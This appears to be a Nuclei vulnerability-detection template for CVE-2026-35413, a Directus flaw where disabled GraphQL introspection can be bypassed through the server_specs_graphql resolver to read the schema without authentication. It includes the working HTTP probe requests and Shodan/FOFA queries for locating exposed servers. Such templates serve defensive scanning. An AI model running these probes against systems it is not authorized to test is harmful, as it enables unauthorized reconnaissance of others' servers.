Copy
id: CVE-2026-35413
info:
name: Directus < 11.16.1 - GraphQL Introspection Control Bypass
author: s4e-io
severity: medium
description: |
Directus before 11.16.1 contains an information disclosure vulnerability where the GRAPHQL_INTROSPECTION=false setting only adds the NoSchemaIntrospectionCustomRule to GraphQL validation. The server_specs_graphql resolver on /graphql/system and the REST /server/specs/graphql routes are still registered and return the full SDL of the schema, so unauthenticated users can read the schema structure the administrator tried to hide.
impact: |
Unauthenticated attackers can read collection names, field names, types and relations at the public permission level even though GraphQL introspection is disabled.
remediation: |
Upgrade to Directus 11.16.1 or later.
reference:
- https://github.com/directus/directus/security/advisories/GHSA-wxwm-3fxv-mrvx
- https://github.com/directus/directus/pull/26868
- https://github.com/directus/directus/commit/fba89ef4d862b0a410bd7f5ff439501ce807a2b1
- https://github.com/directus/directus/releases/tag/v11.16.1
- https://nvd.nist.gov/vuln/detail/CVE-2026-35413
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-35413
epss-score: 0.00803
epss-percentile: 0.53575
cwe-id: CWE-200
cpe: cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:*
metadata:
verified: true
max-request: 2
vendor: monospace
product: directus
shodan-query: 'X-Powered-By: Directus'
fofa-query: 'header="X-Powered-By: Directus"'
tags: cve,cve2026,directus,graphql,exposure,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET /graphql/system?query=%7B__schema%7BqueryType%7Bname%7D%7D%7D HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'regex("\"code\":\"GRAPHQL_VALIDATION(_EXCEPTION)?\"", body)'
- 'contains(body, "GraphQL introspection has been disabled")'
condition: and
internal: true
- raw:
- |
GET /graphql/system?query=%7Bserver_specs_graphql(scope%3Asystem)%20items%3Aserver_specs_graphql(scope%3Aitems)%7D HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"server_specs_graphql\":\"type Query {", "server_specs_graphql(scope: graphql_sdl_scope): String", "auth_login(email: String!")'
condition: and
# digest: 4a0a00473045022041ee421dbb06cfee842159a75a04c70e2487765a1e236e9ee99755d52887bec4022100c3be25c09d825c1e86daed9e123721cd5b46d1f650a55c8f0dc0578b08c9e1e4:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.